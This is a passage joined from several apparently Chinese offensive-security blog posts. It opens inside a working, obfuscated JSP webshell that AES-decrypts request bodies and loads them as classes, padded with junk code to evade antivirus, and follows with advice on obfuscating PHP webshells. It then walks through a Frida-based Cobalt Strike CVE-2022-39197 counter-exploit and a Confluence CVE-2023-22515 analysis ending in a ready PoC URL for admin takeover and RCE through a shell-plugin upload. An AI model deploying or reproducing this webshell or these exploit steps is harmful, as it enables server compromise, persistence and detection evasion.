extends ClassLoader {        public Register(ClassLoader username) {            super(username);       }        public Class Query/*\u3333*/(byte[] password) {            int len = password.length;            String s1 = "/*";            Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);            String s2 = "*/";            return aClass;       }   }    public byte[] x(byte[] s, boolean m) {        // 这行代码换了个顺序        byte[] bs = xc.getBytes();        try {            String sss = "/*";            String decode = "\u0041\u0045\u0053";            Cipher c = Cipher.getInstance(decode);            String ccc = "*/";            // if代替了原本的三元表达式            int flag = 0xAFFFF;            if (m) {                flag = 1;           } else {                flag = 2;           }            String acaw = "/*";            c.init(flag, new SecretKeySpec(bs, decode));            String ANANAWU = "*/";            String string1 = "/*";            byte[] bytes = c.doFinal(s);            String string12 = "*/";            return bytes;       } catch (Exception e) {            return null;       }   }    public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {        // 添加注释        /*o.equls(null)*/        int x = 10;        int y = 20;        // 这里有一些毫无意义的操作        x = (x + y) * 2;        y = x - y;        String meaninglessString = "Hello, this is a meaningless string.";        if (x > y) {            x = x * 2;       } else {            y = y * 2;       }        String sss = "/*";        o./*o.equls(null)*/equals/*o.equls(null)*/(bos);        String ccc = "*/";        o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);        String ac = "//";        o.toString/*o.equls(null)*/();   }    public void run2(byte[] data_bytes, HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";        Register REG = new Register(this.getClass().getClassLoader());        Class cs = REG.Query(data_bytes);        session.setAttribute(py, cs);   }    public Object os_return(HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        return  session.getAttribute(py);   }    public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {        byte[] x = x(bos.toByteArray(), true);        os.write(x);   }    public void setAttribute(HttpServletRequest request, String key, Object value) {        request.setAttribute(key, value);   }    public ByteArrayOutputStream getBos() {        ByteArrayOutputStream arrOut = null;        arrOut = new ByteArrayOutputStream();        return arrOut;   } %><%    try {        String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        int length = Integer.valueOf/*o.equls(null)*/(header);        byte[] data_bytes = new byte[/*o.equls(null)*/length];        InputStream is = request.getInputStream();        // for循环替代了while循环        for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));        // 原本的false变成了 !true        data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);        OutputStream os = response.getOutputStream();        ByteArrayOutputStream bos = getBos();        boolean flag = session.getAttribute(py) == null;        if (flag) {            run2(data_bytes, session);       } else {            setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);            String s = "/*";Class cs = (Class) os_return(session);String c = "*/";            Object f = (cs).newInstance();            run(f, bos, pageContext);            /* 垃圾代码 */            int a = 10;            int b = 20;            for (int i = 0; i < 5; i++) {                a += b;                b -= a;           }            String meaninglessString = "This is a meaningless string.";            int[] numbers = {1, 2, 3, 4, 5};            for (int num : numbers) {                if (num % 2 == 0) {                    // 不执行任何操作               } else {                    // 不执行任何操作               }           }            /* 垃圾代码 */            pull(bos, os);       }   } catch (Exception e) {   } %> 免杀效果: Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。 5、利用代码加密工具 上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。 比如随便找一些php在线混淆哥斯拉的webshell 链接也是没有问题的 虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。 经过3次混淆的phpwebshell,反正我是认不出来了。 类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。 6、总结 文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。
Cobalt Strike之反向上线操作
前言 Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。 实现原理 攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例 Kernel32.dll: CreateFileW ReadFile WriteFile FindFirstFileW CreateProcessW GetProcAddress LoadLibraryW VirtualAlloc VirtualProtect Advapi32.dll: RegOpenKeyExW RegQueryValueExW RegSetValueExW GetUserNameA User32.dll: MessageBoxW SetWindowTextW GetWindowTextW Gdi32.dll: TextOutW CreateFontIndirectW Shell32.dll: ShellExecuteW Ws2_32.dll: send recv 在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。 例如Kernel32.dll:中的Process32Next # Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表 var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next") # 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑 Interceptor.attach(pProcess32Next, {   onEnter: function(args) {       this.pPROCESSENTRY32 = args[1];       if(Process.arch == "ia32"){           this.exeOffset = 36;       }else{           this.exeOffset = 44;       }       this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);   },   onLeave: function(retval) {       if(this.szExeFile.readAnsiString() == "target") {           send("[!] Found beacon, injecting payload");           this.szExeFile.writeAnsiString(payload);       }   } }) 函数内整体逻辑拆开来分析下 处理函数进入 onEnter onEnter: function(args) {   this.pPROCESSENTRY32 = args[1];   if(Process.arch == "ia32"){       this.exeOffset = 36;   }else{       this.exeOffset = 44;   }   this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset); }, 在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名 处理函数离开 onLeave onLeave: function(retval) {   if(this.szExeFile.readAnsiString() == "target") {       send("[!] Found beacon, injecting payload");       this.szExeFile.writeAnsiString(payload);   } } 在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload 简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE 反制复现 环境准备: 注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响) 开源POC和EXP:https://github.com/its-arun/CVE-2022-39197 1、编辑恶意文件内容 修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS 2、编译文件 使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下 3、将生成的恶意jar文件和svg文件放在同一路径下 将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下 4、蓝队在serve路径下开启一个web服务 5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址 6、执行POC脚本 python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg 运行后,红队的cs客户端上可以看到此时木马已经成功上线 当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar 成功上线蓝队CS,从而达到反制RCE 思考 除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样) 最后 此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。
Confluence 未授权漏洞分析(CVE-2023-22515)
0x01 漏洞描述 Confluence 是由 Atlassian 开发的企业级协作软件。2023年10月,Atlassian 官方披露 CVE-2023-22515 Atlassian Confluence Data Center & Server 权限提升漏洞。攻击者可构造恶意请求创建管理员,从而登录系统,造成敏感信息泄漏等。 如果 Confluence 站点托管在 Atlassian Cloud(域名为:atlassian.net),则不受此漏洞影响。 0x02 影响版本 8.0.0 - - 8.0.4 8.1.0 - - 8.1.4 8.2.0 - - 8.2.3 8.3.0 - - 8.3.2 8.4.0 - - 8.4.2 8.5.0 - - 8.5.1 0x03 环境搭建 安装包 https://www.atlassian.com/software/confluence/download-archives jar 包: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip   https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip 大致的安装可以看 https://cn-sec.com/archives/2177640.html 其中有一步数据库的安装会存在一些问题,首先是新建数据库的时候,对编码有要求 CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin; 随后是连接 jdbc:mysql://localhost/confluence?sessionVariables=transaction_isolation='READ-COMMITTED' 在配置数据库时需要指定 READ-COMMITTED 下一步是做调试准备,这里的调试需要找到 Service 随后在 cmd 里面运行这一个行命令,就会跳出如图所示的框框 tomcat9w.exe //ES//Confluence151123100612 随后添加 JAVA_OPTS,进行动调 0x04 漏洞分析 根据官方的公告,修复建议是给 /setup 打头的接口做鉴权校验 <security-constraint>      <web-resource-collection>        <url-pattern>/setup/*</url-pattern> <http-method-omission>*</http-method-omission> </web-resource-collection>      <auth-constraint /> </security-constraint> 由于 Confluence 这里的框架是基于 S2 的,S2 的大致流程如 su18 师傅的图所示 也就是说我们现在需要去找一下 /setup/* 接口是怎么被处理的,直接分析是比较难的,所以先 diff 一下代码。 首先 struts2.xml 里面 修复版本新增了 struts.override.acceptedPatterns 修复版本删除了 server-info action 接着是 BootstapStatusProviderImpl 类里面增加了部分内容,对属性 setupPersister 和 applicationConfig 做了限制 这里有点没看懂修了什么,所以我先动调观察具体接口是怎么处理的,根据 Struts2 的特性,去到 struts.xml 里面找对应的 Interceptor,不难找到具体处理的拦截器是 SetupCheckInterceptor 开始动调,看一下 /setup/setupadministrator.action 接口的逻辑是怎么处理的。 中间走到 com.atlassian.config.ApplicationConfig#isSetupComplete 时,在新版本的 fix 里面是增加了这一段的 ReadOnlyApplicationConfig 配置的 所以这里的漏洞利用思路大概就是先动态修改 setupPersister 或 applicationConfig,在触发了这一点之后,能够下一步访问 /setup/setupadministrator.action,重新配置管理员密码。 这里具体的实现很有意思,su18 师傅的文章说的很明白,我就直接拿过来用了 https://su18.org/post/struts2-1/OGNL 中的根对象即为 ValueStack(值栈),这个对象贯穿整个 Action 的生命周期(每个 Action 类的对象实例会拥有一个 ValueStack 对象)。当Struts 2接收到一个 .action 的请求后,会先建立Action 类的对象实例,但并不会调用 Action 方法,而是先将 Action 类的相应属性放到 ValueStack 的实现类 OgnlValueStack 对象 root 对象的顶层节点( ValueStack 对象相当于一个栈)。在处理完上述工作后,Struts2 就会调用拦截器链中的 我们需要找一个 OGNL 的点, 并且这个点能够以某种方式去调用某个类的 getter / setter, 以此来配置 applicationConfig 的 setupComplete 字段 于是去 diff 跟 Struts2 有关的依赖, 即 com.atlassian.struts2_struts-support-1.1.0.jar 和 com.atlassian.struts2_struts-support-1.2.0.jar 发现修改的类是 SafeParametersInterceptor,这个类会处理所有的输入,所以 server-info.action 这个请求也会经过它 同时,Confluence 使用了 XWork 框架,它允许通过 HTTP 请求来设置 Java 对象的参数:https://developer.atlassian.com/server/confluence/xwork-plugin-complex-parameters-and-security/ XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName("Charles") by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to 这就允许我们在输入时候传参类似于 ?test=a.b.c,动调一下 http://192.168.80.137:8090/server-info.action?a.b.c 这里会先做过滤,跟进 this.filterSafeParameters() 方法,该方法会对传入的参数进行判断,如果包含关键字或者满足正则匹配则返回 false BLOCKED_PARAMETER_NAMES: actionErrors、actionMessages   EXCLUDE_CLASS_PATTERN: .*class[^a-z0-9_].*   SAFE_PARAMETER_NAME_PATTERN: \w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*   MAP_PARAMETER_PATTERN: .*\['[a-zA-Z0-9_]+'\] 如果不在黑名单内,最后会调用 isSafeComplexParameterName() 方法,这个方法会检查传入的参数是否调用了当前 action 的某个 getter / setter,如果调用了,则判断里面是否有 ParameterSafe 注解。 如果没有实现 @ParameterSafe 注解,那么 isSafeMethod 就会返回 false 这么一看,漏洞成立需要绕过黑名单验证,并且满足 @ParameterSafe 注解,利用条件十分苛刻。继续往下走,回到 com.atlassian.xwork.interceptors.SafeParametersInterceptor#doIntercept,跟进 super.doIntercept() 方法。能够看到这里是跟进到了 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法,它会重新处理一遍参数,这就导致上面的黑名单完全没生效。 跟进 setParameters() 方法后其实就是 S2 处理 OGNL 语句的那一套,参考 https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90 总的来说, 因为 SafeParametersInterceptor.doIntercept() 方法的一些逻辑问题, 导致这个类自身对传入参数的过滤并没有生效, 我们最终还是可以通过 a.b.c=e 的形式去调用当前 action 的 getter / setter, 并不需要关心方法本身或者它的 returnType 是否使用了 @ParameterSafe 注解 到这里思路就很清晰了,我们只需要构造 OGNL 即可,调用某个 Action 里的 setter,让 isSetupComplete=false 即可 以 ServerInfoAction 为例, 它继承自 ConfluenceActionSupport 这里的 getBootstrapStatusProvider() 方法调用了 BootstrapStatusProviderImpl.getInstance(),接下来就可以去 BootstrapStatusProviderImpl 里面寻找调用链,可惜的是这里的 setSetupComplete() 已经用不了了,只能找另外的 最终找到的是 getApplicationConfig() 方法,而在 ApplicationConfig 类里面存在 setSetupComplete() 方法可用 因为 Confluence 的所有 Action 都继承自 ConfluenceActionSupport, 所以理论上只要访问任意一个使用了 SafeParameterInterceptor 的路由, 无论是 GET 还是 POST 方法都能够利用成功 于是最后的 PoC 应该是 http://192.168.80.137:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false 在进行覆盖 setupComplete=false 之后重新注册管理员 http://192.168.80.137:8090/setup/setupadministrator-start.action 0x05 未授权之后的 RCE X1r0z 师傅已经介绍了一种 RCE 的方法,但是利用条件有限,需要 web目录可写并且高权限用户 其实有一种更简单的方法,看到:https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html 可以通过上传插件实现 RCE,利用工具github上已经存在了:https://github.com/AIex-3/confluence-hack/ http://192.168.80.137:8090/plugins/servlet/upm 上传 plugin_shellplug.jar,访问 /plugins/servlet/com.jsos.shell/ShellServlet